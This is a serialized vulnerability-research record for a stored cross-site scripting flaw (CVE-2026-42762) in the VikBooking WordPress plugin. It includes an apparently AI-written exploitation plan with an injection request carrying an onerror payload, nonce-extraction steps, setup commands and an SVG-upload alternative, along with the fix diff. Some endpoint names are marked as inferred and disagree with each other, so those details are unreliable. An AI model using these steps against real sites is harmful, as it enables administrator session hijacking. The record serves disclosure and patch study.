[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fN4N3PR9L18nxe3PMC00Y8ZvQAPkjFbK4hvYlZsEFQOU":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-42762","vikbooking-hotel-booking-engine-pms-unauthenticated-stored-cross-site-scripting-2","VikBooking Hotel Booking Engine & PMS \u003C= 1.8.9 - Unauthenticated Stored Cross-Site Scripting","The VikBooking Hotel Booking Engine & PMS plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.8.9 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","vikbooking",null,"\u003C=1.8.9","1.8.10","high",7.2,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-06-01 00:00:00","2026-06-08 14:53:16",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F2ea5c0e4-afee-4fbd-8b2e-9befd16c7935?source=api-prod",8,[22,23,24,25,26,27,28,29],"admin\u002Fhelpers\u002Fsrc\u002Fchat\u002Fmediator.php","admin\u002Fhelpers\u002Fsrc\u002Fcheckin\u002Fpaxfields\u002Fbasic.php","admin\u002Fhelpers\u002Fsrc\u002Fmodel\u002Fquote.php","admin\u002Fhelpers\u002Fsrc\u002Fnotification\u002Felements.php","admin\u002Fviews\u002Fbookingcheckin\u002Ftmpl\u002Fdefault.php","changelog.md","defines.php","readme.txt","researched",false,3,"# Exploitation Research Plan - CVE-2026-42762\n\n## 1. Vulnerability Summary\nThe **VikBooking Hotel Booking Engine & PMS** plugin (versions \u003C= 1.8.9) is vulnerable to **Unauthenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin accepts user-controlled guest (pax) information during the booking or pre-check-in process and subsequently renders this data in the administrative back-end without sufficient sanitization or output escaping. Specifically, guest names and other profile fields are echoed directly into the HTML of the \"Booking Check-in\" view.\n\n## 2. Attack Vector Analysis\n*   **Vulnerable Endpoint:** Front-end pre-check-in or booking confirmation forms.\n*   **Action\u002FHook:** `wp_ajax_nopriv_vikbooking_save_checkin` or `wp_ajax_nopriv_vbo_save_order` (inferred).\n*   **Vulnerable Parameter:** `first_name`, `last_name`, or `extranotes`.\n*   **Authentication:** None (Unauthenticated).\n*   **Preconditions:** The guest must have a valid booking ID (to use the pre-check-in) OR the attacker can simply submit a new booking request if guest bookings are enabled.\n\n## 3. Code Flow\n1.  **Entry Point (Unauthenticated):** A guest interacts with the front-end \"Pre-Check-in\" form or the initial booking form. The fields are defined in `admin\u002Fhelpers\u002Fsrc\u002Fcheckin\u002Fpaxfields\u002Fbasic.php`.\n2.  **Storage:** The data is processed and saved into the database (e.g., `#__vikbooking_orders` or pax data tables) via the `VBOCheckinPax` or `VBOModelQuote` models.\n3.  **Sink (Admin Context):** An administrator navigates to **VikBooking > Bookings** and clicks on the \"Check-in\" button for a specific order.\n4.  **Rendering:** The plugin loads the AJAX view `admin\u002Fviews\u002Fbookingcheckin\u002Ftmpl\u002Fdefault.php`.\n5.  **Execution:** At **line 160** of `admin\u002Fviews\u002Fbookingcheckin\u002Ftmpl\u002Fdefault.php`, the customer's name is rendered:\n    ```php\n    \u002F\u002F admin\u002Fviews\u002Fbookingcheckin\u002Ftmpl\u002Fdefault.php:160\n    echo (isset($customer['country_img']) ? $customer['country_img'].' ' : '').'\u003Ca href=\"javascript: void(0);\" onclick=\"vboUpdateModal(\\''.addslashes(JText::translate('VBCUSTINFO')).'\\', \\'.customer_info\\', true);\">'.ltrim($customer['first_name'].' '.$customer['last_name']).'\u003C\u002Fa>';\n    ```\n    The `ltrim()` function is used, which does not provide any XSS protection. The concatenated `first_name` and `last_name` are echoed directly inside an `\u003Ca>` tag.\n\n## 4. Nonce Acquisition Strategy\nThe front-end forms for VikBooking typically localize security nonces into a global JavaScript object. \n1.  **Identify Shortcode:** The pre-check-in feature is usually rendered via the `[vikbooking_checkin]` shortcode.\n2.  **Create Test Page:**\n    `wp post create --post_type=page --post_title=\"Guest Checkin\" --post_status=publish --post_content='[vikbooking_checkin]'`\n3.  **Extract Nonce:** Use `browser_navigate` to visit the page and `browser_eval` to extract the nonce.\n    *   **JS Variable:** `window.vbo_vars?.vbo_ajax_nonce` or `window.vbo_chat_config?.nonce`.\n    *   **Verification:** Check `wp_localize_script` calls in the plugin's front-end controllers to find the exact key.\n\n## 5. Exploitation Strategy\n### Step 1: Inject Payload\nSubmit a pre-check-in request with the XSS payload in the `first_name` field.\n*   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Method:** POST\n*   **Content-Type:** `application\u002Fx-www-form-urlencoded`\n*   **Body:**\n    ```\n    action=vikbooking_ajax_save_checkin&\n    id_order=1&\n    first_name=\u003Cimg src=x onerror=\"alert('XSS_SUCCESS')\">&\n    last_name=Attacker&\n    vbo_ajax_nonce=[EXTRACTED_NONCE]\n    ```\n    *(Note: `id_order` must be a valid order ID. Use `wp_cli` to find or create one first).*\n\n### Step 2: Trigger Payload\n1.  Log in as a WordPress Administrator.\n2.  Navigate to the VikBooking \"Bookings\" page.\n3.  Locate the order with ID 1 and click the **Check-in** icon\u002Fbutton.\n4.  A modal will open, and the browser will execute the `alert('XSS_SUCCESS')`.\n\n## 6. Test Data Setup\n1.  **Install Plugin:** Ensure VikBooking \u003C= 1.8.9 is active.\n2.  **Create Admin User:** `wp user create admin admin@example.com --role=administrator --user_pass=password`\n3.  **Create an Order:** VikBooking requires a pre-existing order to perform a check-in.\n    `wp eval \"global \\$wpdb; \\$wpdb->insert(\\$wpdb->prefix . 'vikbooking_orders', ['id' => 1, 'ts' => time(), 'checkin' => time(), 'checkout' => time() + 86400, 'status' => 'CONFIRMED']);\"`\n4.  **Create Check-in Page:**\n    `wp post create --post_type=page --post_title=\"Checkin\" --post_status=publish --post_content='[vikbooking_checkin]'`\n\n## 7. Expected Results\n*   The `vikbooking_ajax_save_checkin` request should return a success JSON response.\n*   When the admin opens the check-in modal, the HTML source should contain:\n    `...\u003Ca ...>John \u003Cimg src=x onerror=\"alert('XSS_SUCCESS')\"> Attacker\u003C\u002Fa>...`\n*   The JavaScript payload will execute in the admin's session context.\n\n## 8. Verification Steps\n1.  **Database Check:** Verify the payload is stored in the database.\n    `wp db query \"SELECT first_name FROM wp_vikbooking_orders WHERE id=1;\"` (Adjust table name prefix if necessary).\n2.  **Response Check:** Use `http_request` as an admin to fetch the check-in modal content:\n    `GET \u002Fwp-admin\u002Fadmin-ajax.php?action=vikbooking_ajax_load_checkin&id=1`\n    Search for the string `\u003Cimg src=x onerror=\"alert('XSS_SUCCESS')\">` in the response body.\n\n## 9. Alternative Approaches\n*   **Chat Module (v1.8.8+):** If the check-in endpoint requires complex session validation, use the new Chat module. \n    *   **Action:** `wp_ajax_nopriv_vbo_chat_send_message`.\n    *   **Payload:** Send the script in the message body or attachment name.\n    *   **Trigger:** Admin opens the \"Inquiries Chat\" widget (`admin-widget-inquiries-chat`).\n*   **SVG Attachment:** Use `VBOChatMediator::uploadAttachment` (found in `admin\u002Fhelpers\u002Fsrc\u002Fchat\u002Fmediator.php`) to upload a `.svg` file containing an XSS payload, as `svg` is an explicitly allowed extension in `VBOChatMediator::__construct`.","The VikBooking plugin for WordPress is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS) due to insufficient input sanitization and output escaping. Attackers can inject malicious scripts into guest profile fields during the booking or pre-check-in process, which then execute when an administrator views the booking details in the backend.","\u002F\u002F admin\u002Fviews\u002Fbookingcheckin\u002Ftmpl\u002Fdefault.php\n\u002F\u002F Around line 160 in version 1.8.9\n\u003Cdiv class=\"vbo-bookdet-foot\">\n    \u003C?php echo (isset($customer['country_img']) ? $customer['country_img'].' ' : '').'\u003Ca href=\"javascript: void(0);\" onclick=\"vboUpdateModal(\\''.addslashes(JText::translate('VBCUSTINFO')).'\\', \\'.customer_info\\', true);\">'.ltrim($customer['first_name'].' '.$customer['last_name']).'\u003C\u002Fa>'; ?>\n\u003C\u002Fdiv>\n\n---\n\n\u002F\u002F site\u002Fcontroller.php\n\u002F\u002F Lines 3269-3275\nforeach ($pguests as $ind => $adults) {\n    foreach ($adults as $aduind => $details) {\n        foreach ($details as $detkey => $detval) {\n            if (!in_array($detkey, $front_keys)) {\n                \u002F\u002F push the key of the guest details for later comparison\n                array_push($front_keys, $detkey);\n            }","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fvikbooking\u002F1.8.9\u002Fadmin\u002Fhelpers\u002Fsrc\u002Fchat\u002Fmediator.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fvikbooking\u002F1.8.10\u002Fadmin\u002Fhelpers\u002Fsrc\u002Fchat\u002Fmediator.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fvikbooking\u002F1.8.9\u002Fadmin\u002Fhelpers\u002Fsrc\u002Fchat\u002Fmediator.php\t2026-04-28 16:07:36.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fvikbooking\u002F1.8.10\u002Fadmin\u002Fhelpers\u002Fsrc\u002Fchat\u002Fmediator.php\t2026-05-05 16:21:44.000000000 +0000\n@@ -267,7 +267,19 @@\n             return false;\n         }\n \n-        return JFile::delete($attachment->getPath());\n+        $filePath = $attachment->getPath();\n+\n+        \u002F**\n+         * Make sure the file is located under the registered attachments path\n+         * to prevent arbitrary file deletion.\n+         * \n+         * @since 1.18.10 (J) - 1.8.10 (WP)\n+         *\u002F\n+        if (strpos($filePath, $this->attachmentsPath) !== 0) {\n+            return false;\n+        }\n+\n+        return JFile::delete($filePath);\n     }\n \n     \u002F**\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fvikbooking\u002F1.8.9\u002Fadmin\u002Fhelpers\u002Fsrc\u002Fcheckin\u002Fpaxfields\u002Fbasic.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fvikbooking\u002F1.8.10\u002Fadmin\u002Fhelpers\u002Fsrc\u002Fcheckin\u002Fpaxfields\u002Fbasic.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fvikbooking\u002F1.8.9\u002Fadmin\u002Fhelpers\u002Fsrc\u002Fcheckin\u002Fpaxfields\u002Fbasic.php\t2026-04-28 16:07:36.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fvikbooking\u002F1.8.10\u002Fadmin\u002Fhelpers\u002Fsrc\u002Fcheckin\u002Fpaxfields\u002Fbasic.php\t2026-05-05 16:21:44.000000000 +0000\n@@ -15,8 +15,9 @@\n  * Helper class to support the default pax fields data collection.\n  * \n  * @since \t1.15.0 (J) - 1.5.0 (WP)\n+ * @since \t1.18.10 (J) - 1.8.10 (WP) class is no longer final to allow inheritance.\n  *\u002F\n-final class VBOCheckinPaxfieldsBasic extends VBOCheckinAdapter\n+class VBOCheckinPaxfieldsBasic extends VBOCheckinAdapter\n {\n \t\u002F**\n \t * The ID of this pax data collector class.\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fvikbooking\u002F1.8.9\u002Fadmin\u002Fhelpers\u002Fsrc\u002Fmodel\u002Fquote.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fvikbooking\u002F1.8.10\u002Fadmin\u002Fhelpers\u002Fsrc\u002Fmodel\u002Fquote.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fvikbooking\u002F1.8.9\u002Fadmin\u002Fhelpers\u002Fsrc\u002Fmodel\u002Fquote.php\t2026-04-28 16:07:36.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fvikbooking\u002F1.8.10\u002Fadmin\u002Fhelpers\u002Fsrc\u002Fmodel\u002Fquote.php\t2026-05-05 16:21:44.000000000 +0000\n@@ -58,6 +58,9 @@\n         if (!empty($data['valid_until'])) {\n             \u002F\u002F convert the provided date-time string into UTC\n             $data['valid_until'] = JFactory::getDate($data['valid_until'], JFactory::getApplication()->get('offset'))->toSql();\n+        } else {\n+            \u002F\u002F force the value to be null\n+            $data['valid_until'] = null;\n         }\n \n         if (!empty($data['country_3_code']) && strlen($data['country_3_code']) !== 3) {\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fvikbooking\u002F1.8.9\u002Fadmin\u002Fhelpers\u002Fsrc\u002Fnotification\u002Felements.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fvikbooking\u002F1.8.10\u002Fadmin\u002Fhelpers\u002Fsrc\u002Fnotification\u002Felements.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fvikbooking\u002F1.8.9\u002Fadmin\u002Fhelpers\u002Fsrc\u002Fnotification\u002Felements.php\t2026-04-28 16:07:36.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fvikbooking\u002F1.8.10\u002Fadmin\u002Fhelpers\u002Fsrc\u002Fnotification\u002Felements.php\t2026-05-05 16:21:44.000000000 +0000\n@@ -125,7 +125,7 @@\n \tpublic function getTitle()\n \t{\n \t\t\u002F\u002F access the notification title\n-\t\t$title = (string) $this->get('title', '');\n+\t\t$title = strip_tags((string) $this->get('title', ''));\n \n \t\t\u002F\u002F try to guess the title\n \t\tif (!$title) {\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fvikbooking\u002F1.8.9\u002Fadmin\u002Fviews\u002Fbookingcheckin\u002Ftmpl\u002Fdefault.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fvikbooking\u002F1.8.10\u002Fadmin\u002Fviews\u002Fbookingcheckin\u002Ftmpl\u002Fdefault.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fvikbooking\u002F1.8.9\u002Fadmin\u002Fviews\u002Fbookingcheckin\u002Ftmpl\u002Fdefault.php\t2026-04-28 16:07:36.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fvikbooking\u002F1.8.10\u002Fadmin\u002Fviews\u002Fbookingcheckin\u002Ftmpl\u002Fdefault.php\t2026-05-05 16:21:44.000000000 +0000\n@@ -689,6 +689,8 @@\n \t\t\t\t\t\t\u002F\u002F display any other information collected through the pre check-in\n \t\t\t\t\t\tif (count($pax_data) && isset($pax_data[$ind]) && isset($pax_data[$ind][$g])) {\n \t\t\t\t\t\t\tforeach ($pax_data[$ind][$g] as $extrak => $extrav) {\n+\t\t\t\t\t\t\t\t\u002F\u002F sanitize pax field key\n+\t\t\t\t\t\t\t\t$extrak = htmlspecialchars($extrak);\n \t\t\t\t\t\t\t\tif (isset($pax_fields[$extrak]) || (is_scalar($extrav) && !strlen($extrav))) {\n \t\t\t\t\t\t\t\t\t\u002F\u002F this is a default pax field, we skip it\n \t\t\t\t\t\t\t\t\tcontinue;\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fvikbooking\u002F1.8.9\u002Fsite\u002Fcontroller.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fvikbooking\u002F1.8.10\u002Fsite\u002Fcontroller.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fvikbooking\u002F1.8.9\u002Fsite\u002Fcontroller.php\t2026-04-28 16:07:36.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fvikbooking\u002F1.8.10\u002Fsite\u002Fcontroller.php\t2026-05-05 16:21:44.000000000 +0000\n@@ -3269,6 +3269,11 @@\n \t\tforeach ($pguests as $ind => $adults) {\n \t\t\tforeach ($adults as $aduind => $details) {\n \t\t\t\tforeach ($details as $detkey => $detval) {\n+\t\t\t\t\t\u002F\u002F accept no raw HTML tags as keys\n+\t\t\t\t\t$detkey = htmlspecialchars(strip_tags($detkey));\n+\t\t\t\t\tif (!$detkey) {\n+\t\t\t\t\t\tcontinue;\n+\t\t\t\t\t}\n \t\t\t\t\tif (!in_array($detkey, $front_keys)) {\n \t\t\t\t\t\t\u002F\u002F push the key of the guest details for later comparison\n \t\t\t\t\t\tarray_push($front_keys, $detkey);\n@@ -3304,6 +3309,11 @@\n \t\t\t\t\t\t$guests_details[$ind][$aduind] = $details;\n \t\t\t\t\t}\n \t\t\t\t\tforeach ($details as $detkey => $detval) {\n+\t\t\t\t\t\t\u002F\u002F accept no raw HTML tags as keys\n+\t\t\t\t\t\t$detkey = htmlspecialchars(strip_tags($detkey));\n+\t\t\t\t\tif (!$detkey) {\n+\t\t\t\t\t\tcontinue;\n+\t\t\t\t\t}\n \t\t\t\t\t\tif (!in_array($detkey, $front_keys)) {\n \t\t\t\t\t\t\t\u002F\u002F merge this key probably reserved to the back-end\n \t\t\t\t\t\t\t$guests_details[$ind][$aduind][$detkey] = $detval;","An unauthenticated attacker can exploit this by submitting a pre-check-in form or a booking request where fields like 'first_name', 'last_name', or 'extranotes' contain a malicious script (e.g., \u003Cimg src=x onerror=alert(1)>). This payload is stored in the database. When a logged-in administrator visits the VikBooking 'Bookings' section and opens the 'Check-in' modal for that specific order, the malicious script is rendered and executed within the administrator's browser session, potentially allowing session hijacking or unauthorized administrative actions.","gemini-3-flash-preview","2026-06-26 06:25:09","2026-06-26 06:26:19",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","1.8.9","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fvikbooking\u002Ftags\u002F1.8.9","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fvikbooking.1.8.9.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fvikbooking\u002Ftags\u002F1.8.10","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fvikbooking.1.8.10.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fvikbooking\u002Ftags"]